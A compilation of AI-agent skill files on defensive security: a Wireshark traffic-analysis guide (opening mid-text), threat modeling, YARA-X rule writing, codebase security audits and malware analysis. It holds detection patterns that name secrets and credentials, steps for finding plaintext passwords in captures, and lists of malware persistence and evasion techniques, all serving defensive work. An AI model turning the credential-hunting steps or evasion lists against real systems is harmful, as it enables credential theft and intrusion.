interface 4. Capture begins immediately ``` #### Capture Controls | Action | Shortcut | Description | |--------|----------|-------------| | Start/Stop Capture | Ctrl+E | Toggle capture on/off | | Restart Capture | Ctrl+R | Stop and start new capture | | Open PCAP File | Ctrl+O | Load existing capture file | | Save Capture | Ctrl+S | Save current capture | #### Capture Filters Apply filters before capture to limit data collection: ``` # Capture only specific host host 192.168.1.100 # Capture specific port port 80 # Capture specific network net 192.168.1.0/24 # Exclude specific traffic not arp # Combine filters host 192.168.1.100 and port 443 ``` ### Phase 2: Display Filters #### Basic Filter Syntax Filter captured packets for analysis: ``` # IP address filters ip.addr == 192.168.1.1 # All traffic to/from IP ip.src == 192.168.1.1 # Source IP only ip.dst == 192.168.1.1 # Destination IP only # Port filters tcp.port == 80 # TCP port 80 udp.port == 53 # UDP port 53 tcp.dstport == 443 # Destination port 443 tcp.srcport == 22 # Source port 22 ``` #### Protocol Filters Filter by specific protocols: ``` # Common protocols http # HTTP traffic https or ssl or tls # Encrypted web traffic dns # DNS queries and responses ftp # FTP traffic ssh # SSH traffic icmp # Ping/ICMP traffic arp # ARP requests/responses dhcp # DHCP traffic smb or smb2 # SMB file sharing ``` #### TCP Flag Filters Identify specific connection states: ``` tcp.flags.syn == 1 # SYN packets (connection attempts) tcp.flags.ack == 1 # ACK packets tcp.flags.fin == 1 # FIN packets (connection close) tcp.flags.reset == 1 # RST packets (connection reset) tcp.flags.syn == 1 && tcp.flags.ack == 0 # SYN-only (initial connection) ``` #### Content Filters Search for specific content: ``` frame contains "password" # Packets containing string http.request.uri contains "login" # HTTP URIs with string tcp contains "GET" # TCP packets with string ``` #### Analysis Filters Identify potential issues: ``` tcp.analysis.retransmission # TCP retransmissions tcp.analysis.duplicate_ack # Duplicate ACKs tcp.analysis.zero_window # Zero window (flow control) tcp.analysis.flags # Packets with issues dns.flags.rcode != 0 # DNS errors ``` #### Combining Filters Use logical operators for complex queries: ``` # AND operator ip.addr == 192.168.1.1 && tcp.port == 80 # OR operator dns || http # NOT operator !(arp || icmp) # Complex combinations (ip.src == 192.168.1.1 || ip.src == 192.168.1.2) && tcp.port == 443 ``` ### Phase 3: Following Streams #### TCP Stream Reconstruction View complete TCP conversation: ``` 1. Right-click on any TCP packet 2. Select Follow > TCP Stream 3. View reconstructed conversation 4. Toggle between ASCII, Hex, Raw views 5. Filter to show only this stream ``` #### Stream Types | Stream | Access | Use Case | |--------|--------|----------| | TCP Stream | Follow > TCP Stream | Web, file transfers, any TCP | | UDP Stream | Follow > UDP Stream | DNS, VoIP, streaming | | HTTP Stream | Follow > HTTP Stream | Web content, headers | | TLS Stream | Follow > TLS Stream | Encrypted traffic (if keys available) | #### Stream Analysis Tips - Review request/response pairs - Identify transmitted files or data - Look for credentials in plaintext - Note unusual patterns or commands ### Phase 4: Statistical Analysis #### Protocol Hierarchy View protocol distribution: ``` Statistics > Protocol Hierarchy Shows: - Percentage of each protocol - Packet counts - Bytes transferred - Protocol breakdown tree ``` #### Conversations Analyze communication pairs: ``` Statistics > Conversations Tabs: - Ethernet: MAC address pairs - IPv4/IPv6: IP address pairs - TCP: Connection details (ports, bytes, packets) - UDP: Datagram exchanges ``` #### Endpoints View active network participants: ``` Statistics > Endpoints Shows: - All source/destination addresses - Packet and byte counts - Geographic information (if enabled) ``` #### Flow Graph Visualize packet sequence: ``` Statistics > Flow Graph Options: - All packets or displayed only - Standard or TCP flow - Shows packet timing and direction ``` #### I/O Graphs Plot traffic over time: ``` Statistics > I/O Graph Features: - Packets per second - Bytes per second - Custom filter graphs - Multiple graph overlays ``` ### Phase 5: Security Analysis #### Detect Port Scanning Identify reconnaissance activity: ``` # SYN scan detection (many ports, same source) ip.src == SUSPECT_IP && tcp.flags.syn == 1 # Review Statistics > Conversations for anomalies # Look for single source hitting many destination ports ``` #### Identify Suspicious Traffic Filter for anomalies: ``` # Traffic to unusual ports tcp.dstport > 1024 && tcp.dstport < 49152 # Traffic outside trusted network !(ip.addr == 192.168.1.0/24) # Unusual DNS queries dns.qry.name contains "suspicious-domain" # Large data transfers frame.len > 1400 ``` #### ARP Spoofing Detection Identify ARP attacks: ``` # Duplicate ARP responses arp.duplicate-address-frame # ARP traffic analysis arp # Look for: # - Multiple MACs for same IP # - Gratuitous ARP floods # - Unusual ARP patterns ``` #### Examine Downloads Analyze file transfers: ``` # HTTP file downloads http.request.method == "GET" && http contains "Content-Disposition" # Follow HTTP Stream to view file content # Use File > Export Objects > HTTP to extract files ``` #### DNS Analysis Investigate DNS activity: ``` # All DNS traffic dns # DNS queries only dns.flags.response == 0 # DNS responses only dns.flags.response == 1 # Failed DNS lookups dns.flags.rcode != 0 # Specific domain queries dns.qry.name contains "domain.com" ``` ### Phase 6: Expert Information #### Access Expert Analysis View Wireshark's automated findings: ``` Analyze > Expert Information Categories: - Errors: Critical issues - Warnings: Potential problems - Notes: Informational items - Chats: Normal conversation events ``` #### Common Expert Findings | Finding | Meaning | Action | |---------|---------|--------| | TCP Retransmission | Packet resent | Check for packet loss | | Duplicate ACK | Possible loss | Investigate network path | | Zero Window | Buffer full | Check receiver performance | | RST | Connection reset | Check for blocks/errors | | Out-of-Order | Packets reordered | Usually normal, excessive is issue | ## Quick Reference ### Keyboard Shortcuts | Action | Shortcut | |--------|----------| | Open file | Ctrl+O | | Save file | Ctrl+S | | Start/Stop capture | Ctrl+E | | Find packet | Ctrl+F | | Go to packet | Ctrl+G | | Next packet | ↓ | | Previous packet | ↑ | | First packet | Ctrl+Home | | Last packet | Ctrl+End | | Apply filter | Enter | | Clear filter | Ctrl+Shift+X | ### Common Filter Reference ``` # Web traffic http || https # Email smtp || pop || imap # File sharing smb || smb2 || ftp # Authentication ldap || kerberos # Network management snmp || icmp # Encrypted tls || ssl ``` ### Export Options ``` File > Export Specified Packets # Save filtered subset File > Export Objects > HTTP # Extract HTTP files File > Export Packet Dissections # Export as text/CSV ``` ## Constraints and Guardrails ### Operational Boundaries - Capture only authorized network traffic - Handle captured data according to privacy policies - Avoid capturing sensitive credentials unnecessarily - Properly secure PCAP files containing sensitive data ### Technical Limitations - Large captures consume significant memory - Encrypted traffic content not visible without keys - High-speed networks may drop packets - Some protocols require plugins for full decoding ### Best Practices - Use capture filters to limit data collection - Save captures regularly during long sessions - Use display filters rather than deleting packets - Document analysis findings and methodology ## Examples ### Example 1: HTTP Credential Analysis **Scenario**: Investigate potential plaintext credential transmission ``` 1. Filter: http.request.method == "POST" 2. Look for login forms 3. Follow HTTP Stream 4. Search for username/password parameters ``` **Finding**: Credentials transmitted in cleartext form data. ### Example 2: Malware C2 Detection **Scenario**: Identify command and control traffic ``` 1. Filter: dns 2. Look for unusual query patterns 3. Check for high-frequency beaconing 4. Identify domains with random-looking names 5. Filter: ip.dst == SUSPICIOUS_IP 6. Analyze traffic patterns ``` **Indicators**: - Regular timing intervals - Encoded/encrypted payloads - Unusual ports or protocols ### Example 3: Network Troubleshooting **Scenario**: Diagnose slow web application ``` 1. Filter: ip.addr == WEB_SERVER 2. Check Statistics > Service Response Time 3. Filter: tcp.analysis.retransmission 4. Review I/O Graph for patterns 5. Check for high latency or packet loss ``` **Finding**: TCP retransmissions indicating network congestion. ## Troubleshooting ### No Packets Captured - Verify correct interface selected - Check for admin/root permissions - Confirm network adapter is active - Disable promiscuous mode if issues persist ### Filter Not Working - Verify filter syntax (red = error) - Check for typos in field names - Use Expression button for valid fields - Clear filter and rebuild incrementally ### Performance Issues - Use capture filters to limit traffic - Split large captures into smaller files - Disable name resolution during capture - Close unnecessary protocol dissectors ### Cannot Decrypt TLS/SSL - Obtain server private key - Configure at Edit > Preferences > Protocols > TLS - For ephemeral keys, capture pre-master secret from browser - Some modern ciphers cannot be decrypted passively
Expert in threat modeling methodologies, security architecture review, and risk assessment. Masters STRIDE, PASTA, attack trees, and security requirement ext...
--- name: threat-modeling-expert description: "Expert in threat modeling methodologies, security architecture review, and risk assessment. Masters STRIDE, PASTA, attack trees, and security requirement extraction. Use for security architecture reviews, threat identification, and secure-by-design planning." --- # Threat Modeling Expert Expert in threat modeling methodologies, security architecture review, and risk assessment. Masters STRIDE, PASTA, attack trees, and security requirement extraction. Use PROACTIVELY for security architecture reviews, threat identification, or building secure-by-design systems. ## Capabilities - STRIDE threat analysis - Attack tree construction - Data flow diagram analysis - Security requirement extraction - Risk prioritization and scoring - Mitigation strategy design - Security control mapping ## Use this skill when - Designing new systems or features - Reviewing architecture for security gaps - Preparing for security audits - Identifying attack vectors - Prioritizing security investments - Creating security documentation - Training teams on security thinking ## Do not use this skill when - You lack scope or authorization for security review - You need legal or compliance certification - You only need automated scanning without human review ## Instructions 1. Define system scope and trust boundaries 2. Create data flow diagrams 3. Identify assets and entry points 4. Apply STRIDE to each component 5. Build attack trees for critical paths 6. Score and prioritize threats 7. Design mitigations 8. Document residual risks ## Safety - Avoid storing sensitive details in threat models without access controls. - Keep threat models updated after architecture changes. ## Best Practices - Involve developers in threat modeling sessions - Focus on data flows, not just components - Consider insider threats - Update threat models with architecture changes - Link threats to security requirements - Track mitigations to implementation - Review regularly, not just at design time
Write high-quality YARA-X detection rules for malware identification and threat hunting. Covers naming conventions, string selection, performance optimizatio...
---
name: yara-authoring
description: Write high-quality YARA-X detection rules for malware identification and threat hunting. Covers naming conventions, string selection, performance optimization, and false positive reduction. Use when writing, reviewing, or optimizing YARA rules, converting IOCs to signatures, or debugging detection issues.
---
# YARA-X Rule Authoring
Write detection rules that catch malware without drowning in false positives. Based on Trail of Bits methodology.
## Core Principles
1. **Strings must generate good atoms** — YARA extracts 4-byte subsequences for fast matching. Strings with repeated bytes, common sequences, or under 4 bytes force slow bytecode scans.
2. **Target specific families, not categories** — "Detects ransomware" is useless. "Detects LockBit 3.0 config extraction routine" is useful.
3. **Test against goodware** — Validate against clean file sets before deployment.
4. **Short-circuit with cheap checks first** — `filesize < 10MB and uint16(0) == 0x5A4D` before expensive string searches.
5. **Metadata is documentation** — Future you needs to know what this catches and why.
## YARA-X Basics
YARA-X is the Rust successor to legacy YARA: 5-10x faster, better errors, built-in formatter, stricter validation, new modules (crx, dex).
**Install:** `brew install yara-x` / `cargo install yara-x`
**Commands:** `yr scan`, `yr check`, `yr fmt`, `yr dump`
## Rule Template
```yara
import "pe"
rule FamilyName_Variant_Technique : tag1 tag2 {
meta:
author = "Solomon Neas"
date = "2026-02-14"
description = "Detects [specific behavior] in [malware family]"
reference = "https://..."
tlp = "TLP:WHITE"
hash = ""
score = 75 // 0-100 confidence
strings:
// Unique strings from the sample
$api1 = "VirtualAllocEx" ascii
$api2 = "WriteProcessMemory" ascii
$str1 = { 48 8B 05 ?? ?? ?? ?? 48 85 C0 } // hex with wildcards
$pdb = /[A-Z]:\\.*\\Release\\.*\.pdb/ nocase
condition:
uint16(0) == 0x5A4D and
filesize < 5MB and
(2 of ($api*) and $str1) or
$pdb
}
```
## Naming Convention
`Family_Variant_Technique` — examples:
- `Emotet_Loader_DocumentMacro`
- `CobaltStrike_Beacon_x64`
- `Generic_Cryptominer_XMRig`
## String Selection
**Good strings (unique, specific):**
- Mutex names, PDB paths, C2 URLs
- Unique byte sequences from disassembly
- Custom encryption constants
- Uncommon API call sequences
**Bad strings (too common, high FP):**
- `http://`, `https://`, common API names alone
- Single common words, short strings (<4 bytes)
- Strings found in Windows system files
## Condition Patterns
```yara
// Performance-ordered (cheap → expensive)
condition:
uint16(0) == 0x5A4D and // Magic bytes (instant)
filesize < 10MB and // Size filter (instant)
2 of ($unique*) and // String matching (fast)
pe.imports("kernel32.dll") // Module check (slower)
```
**Common magic bytes:**
| Platform | Check |
|----------|-------|
| PE (Windows) | `uint16(0) == 0x5A4D` |
| ELF (Linux) | `uint32(0) == 0x464C457F` |
| Mach-O 64-bit | `uint32(0) == 0xFEEDFACF` |
| PDF | `uint32(0) == 0x25504446` |
| Office/ZIP | `uint32(0) == 0x504B0304` |
## Performance Rules
1. Put `filesize` and magic byte checks FIRST in condition
2. Never use unbounded regex like `/.*/`
3. Avoid `for all` with complex conditions on large files
4. Use `ascii` or `wide`, not both unless needed
5. Hex strings with specific bytes > wildcards > regex
6. Use `at` for fixed offsets instead of scanning entire file
## Testing
```bash
# Validate syntax
yr check rules/
# Scan a sample
yr scan rules/my_rule.yar suspicious_file.exe
# Scan directory
yr scan rules/ samples/ --threads 4
# Format rules consistently
yr fmt rules/my_rule.yar
```
## False Positive Reduction
- Add `filesize` constraints (malware has typical size ranges)
- Require multiple string matches (`2 of ($str*)` not `any of`)
- Exclude known good paths/publishers via `not` conditions
- Score-based approach: assign confidence scores in metadata, triage by threshold
- Test against goodware corpus before deployment
## Reference
Full methodology, module docs (pe, elf, crx, dex), and migration guide from legacy YARA:
https://github.com/trailofbits/skills/tree/main/plugins/yara-authoring
Run security audits on codebases using static analysis, dependency scanning, and manual code review patterns. Covers OWASP Top 10, secrets detection, depende...
---
name: security-audit
description: Run security audits on codebases using static analysis, dependency scanning, and manual code review patterns. Covers OWASP Top 10, secrets detection, dependency vulnerabilities, and infrastructure misconfigurations. Use when asked to scan code for vulnerabilities, perform a security review, audit a project, or check for security issues. Adapted from Trail of Bits methodology.
---
# Security Audit Skill
Perform security audits on codebases. Adapted from Trail of Bits security research methodology.
## When to Use
- Security review before deployment
- Code audit for vulnerabilities
- Dependency vulnerability check
- Infrastructure/config security review
- Portfolio project security hardening
## Audit Phases
### Phase 1: Reconnaissance
Understand the codebase before scanning:
```bash
# Language detection
find . -type f | sed 's/.*\.//' | sort | uniq -c | sort -rn | head -20
# Framework detection
ls package.json pyproject.toml Gemfile go.mod Cargo.toml requirements.txt 2>/dev/null
# Entry points
grep -r "app.listen\|createServer\|Flask(\|FastAPI(\|func main" --include="*.py" --include="*.js" --include="*.ts" --include="*.go" -l
# Environment and secrets files
find . -name ".env*" -o -name "*.pem" -o -name "*.key" -o -name "*secret*" -o -name "*credential*" | grep -v node_modules | grep -v .git
```
### Phase 2: Automated Scanning
**Secrets Detection:**
```bash
# Grep for common secret patterns
grep -rn "API_KEY\|SECRET\|PASSWORD\|TOKEN\|PRIVATE_KEY\|aws_access\|ssh-rsa" --include="*.py" --include="*.js" --include="*.ts" --include="*.env" --include="*.yaml" --include="*.yml" --include="*.json" . | grep -v node_modules | grep -v .git | grep -v "*.example"
```
**Dependency Vulnerabilities:**
```bash
# Node.js
npm audit --json 2>/dev/null | head -100
# Python
pip-audit 2>/dev/null || pip install pip-audit && pip-audit
# Check for outdated deps
npm outdated 2>/dev/null
pip list --outdated 2>/dev/null
```
**Common Vulnerability Patterns (grep-based):**
```bash
# SQL Injection (string concatenation in queries)
grep -rn "execute.*+\|execute.*%\|execute.*f'" --include="*.py" .
grep -rn "query.*+\|query.*\`" --include="*.js" --include="*.ts" .
# XSS (innerHTML, dangerouslySetInnerHTML)
grep -rn "innerHTML\|dangerouslySetInnerHTML\|v-html\|\$sce.trustAsHtml" --include="*.js" --include="*.ts" --include="*.jsx" --include="*.tsx" --include="*.vue" .
# Command Injection
grep -rn "exec(\|system(\|popen(\|subprocess.call\|child_process" --include="*.py" --include="*.js" --include="*.ts" .
# Path Traversal
grep -rn "\.\./" --include="*.py" --include="*.js" --include="*.ts" . | grep -v node_modules | grep -v test
# Hardcoded credentials
grep -rn "password.*=.*['\"].\+['\"]" --include="*.py" --include="*.js" --include="*.ts" --include="*.yaml" . | grep -v node_modules | grep -v test | grep -v example
```
### Phase 3: Infrastructure Review
```bash
# Dockerfile issues
grep -n "FROM.*latest\|--no-check-certificate\|curl.*\|.*http:" Dockerfile* 2>/dev/null
# CORS configuration
grep -rn "Access-Control-Allow-Origin.*\*\|cors({.*origin.*true\|CORS(.*allow_all" --include="*.py" --include="*.js" --include="*.ts" .
# TLS/SSL
grep -rn "verify.*False\|rejectUnauthorized.*false\|NODE_TLS_REJECT_UNAUTHORIZED" --include="*.py" --include="*.js" --include="*.ts" .
# Rate limiting (absence is a finding)
grep -rn "rateLimit\|rate.limit\|throttle\|slowDown" --include="*.py" --include="*.js" --include="*.ts" . || echo "WARNING: No rate limiting detected"
```
### Phase 4: Manual Review Focus Areas
Based on OWASP Top 10 (2021):
1. **A01 Broken Access Control** — Check auth middleware, route protection, IDOR patterns
2. **A02 Cryptographic Failures** — Weak hashing (MD5/SHA1 for passwords), missing encryption
3. **A03 Injection** — SQL, NoSQL, OS command, LDAP injection
4. **A04 Insecure Design** — Missing input validation, trust boundary violations
5. **A05 Security Misconfiguration** — Debug mode, default credentials, verbose errors
6. **A06 Vulnerable Components** — Outdated dependencies with known CVEs
7. **A07 Auth Failures** — Weak password policy, missing MFA, session fixation
8. **A08 Data Integrity Failures** — Unsigned updates, insecure deserialization
9. **A09 Logging Failures** — Missing audit logs, logging sensitive data
10. **A10 SSRF** — Unvalidated URL inputs, internal service access
## Report Format
```markdown
# Security Audit Report
**Project:** [name]
**Date:** [date]
**Scope:** [files/components audited]
## Executive Summary
[1-2 sentences: overall security posture]
## Critical Findings
### [CRITICAL-001] [Title]
- **Severity:** Critical/High/Medium/Low/Info
- **Category:** OWASP A0X
- **Location:** file:line
- **Description:** What's wrong
- **Impact:** What an attacker could do
- **Remediation:** How to fix it
- **Code:** [before/after snippets]
## Summary Table
| ID | Severity | Category | Title | Status |
|----|----------|----------|-------|--------|
| C-001 | Critical | A03 | SQL Injection in user search | Open |
## Recommendations
[Prioritized list of security improvements]
```
## Limitations
- Grep-based scanning has high false positive rate; manual verification required
- Cannot detect logic flaws or business logic vulnerabilities
- Does not replace professional penetration testing
- No runtime analysis (DAST); static only
Expert malware analyst specializing in defensive malware research, threat intelligence, and incident response. Masters sandbox analysis, behavioral analysis,...
---
name: malware-analyst
description: Expert malware analyst specializing in defensive malware research,
threat intelligence, and incident response. Masters sandbox analysis,
behavioral analysis, and malware family identification. Handles static/dynamic
analysis, unpacking, and IOC extraction. Use PROACTIVELY for malware triage,
threat hunting, incident response, or security research.
metadata:
model: opus
---
# File identification
file sample.exe
sha256sum sample.exe
# String extraction
strings -a sample.exe | head -100
FLOSS sample.exe # Obfuscated strings
# Packer detection
diec sample.exe # Detect It Easy
exeinfope sample.exe
# Import analysis
rabin2 -i sample.exe
dumpbin /imports sample.exe
```
### Phase 3: Static Analysis
1. **Load in disassembler**: IDA Pro, Ghidra, or Binary Ninja
2. **Identify main functionality**: Entry point, WinMain, DllMain
3. **Map execution flow**: Key decision points, loops
4. **Identify capabilities**: Network, file, registry, process operations
5. **Extract IOCs**: C2 addresses, file paths, mutex names
### Phase 4: Dynamic Analysis
```
1. Environment Setup:
- Windows VM with common software installed
- Process Monitor, Wireshark, Regshot
- API Monitor or x64dbg with logging
- INetSim or FakeNet for network simulation
2. Execution:
- Start monitoring tools
- Execute sample
- Observe behavior for 5-10 minutes
- Trigger functionality (connect to network, etc.)
3. Documentation:
- Network connections attempted
- Files created/modified
- Registry changes
- Processes spawned
- Persistence mechanisms
```
## Use this skill when
- Working on file identification tasks or workflows
- Needing guidance, best practices, or checklists for file identification
## Do not use this skill when
- The task is unrelated to file identification
- You need a different domain or tool outside this scope
## Instructions
- Clarify goals, constraints, and required inputs.
- Apply relevant best practices and validate outcomes.
- Provide actionable steps and verification.
- If detailed examples are required, open `resources/implementation-playbook.md`.
## Common Malware Techniques
### Persistence Mechanisms
```
Registry Run keys - HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Scheduled tasks - schtasks, Task Scheduler
Services - CreateService, sc.exe
WMI subscriptions - Event subscriptions for execution
DLL hijacking - Plant DLLs in search path
COM hijacking - Registry CLSID modifications
Startup folder - %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
Boot records - MBR/VBR modification
```
### Evasion Techniques
```
Anti-VM - CPUID, registry checks, timing
Anti-debugging - IsDebuggerPresent, NtQueryInformationProcess
Anti-sandbox - Sleep acceleration detection, mouse movement
Packing - UPX, Themida, VMProtect, custom packers
Obfuscation - String encryption, control flow flattening
Process hollowing - Inject into legitimate process
Living-off-the-land - Use built-in tools (PowerShell, certutil)
```
### C2 Communication
```
HTTP/HTTPS - Web traffic to blend in
DNS tunneling - Data exfil via DNS queries
Domain generation - DGA for resilient C2
Fast flux - Rapidly changing DNS
Tor/I2P - Anonymity networks
Social media - Twitter, Pastebin as C2 channels
Cloud services - Legitimate services as C2
```
## Tool Proficiency
### Analysis Platforms
```
Cuckoo Sandbox - Open-source automated analysis
ANY.RUN - Interactive cloud sandbox
Hybrid Analysis - VirusTotal alternative
Joe Sandbox - Enterprise sandbox solution
CAPE - Cuckoo fork with enhancements
```
### Monitoring Tools
```
Process Monitor - File, registry, process activity
Process Hacker - Advanced process management
Wireshark - Network packet capture
API Monitor - Win32 API call logging
Regshot - Registry change comparison
```
### Unpacking Tools
```
Unipacker - Automated unpacking framework
x64dbg + plugins - Scylla for IAT reconstruction
OllyDumpEx - Memory dump and rebuild
PE-sieve - Detect hollowed processes
UPX - For UPX-packed samples
```
## IOC Extraction
### Indicators to Extract
```yaml
Network:
- IP addresses (C2 servers)
- Domain names
- URLs
- User-Agent strings
- JA3/JA3S fingerprints
File System:
- File paths created
- File hashes (MD5, SHA1, SHA256)
- File names
- Mutex names
Registry:
- Registry keys modified
- Persistence locations
Process:
- Process names
- Command line arguments
- Injected processes
```
### YARA Rules
```yara
rule Malware_Generic_Packer
{
meta:
description = "Detects common packer characteristics"
author = "Security Analyst"
strings:
$mz = { 4D 5A }
$upx = "UPX!" ascii
$section = ".packed" ascii
condition:
$mz at 0 and ($upx or $section)
}
```
## Reporting Framework
### Analysis Report Structure
```markdown
# Malware Analysis Report
## Executive Summary
- Sample identification
- Key findings
- Threat level assessment
## Sample Information
- Hashes (MD5, SHA1, SHA256)
- File type and size
- Compilation timestamp
- Packer information
## Static Analysis
- Imports and exports
- Strings of interest
- Code analysis findings
## Dynamic Analysis
- Execution behavior
- Network activity
- Persistence mechanisms
- Evasion techniques
## Indicators of Compromise
- Network IOCs
- File system IOCs
- Registry IOCs
## Recommendations
- Detection rules
- Mitigation steps
- Remediation guidance
```
## Ethical Guidelines
### Appropriate Use
- Incident response and forensics
- Threat intelligence research
- Security product development
- Academic research
- CTF competitions
### Never Assist With
- Creating or distributing malware
- Attacking systems without authorization
- Evading security products maliciously
- Building botnets or C2 infrastructure
- Any offensive operations without proper authorization
## Response Approach
1. **Verify context**: Ensure defensive/authorized purpose
2. **Assess sample**: Quick triage to understand what we're dealing with
3. **Recommend approach**: Appropriate analysis methodology
4. **Guide analysis**: Step-by-step instructions with safety considerations
5. **Extract value**: IOCs, detection rules, understanding
6. **Document findings**: Clear reporting for stakeholders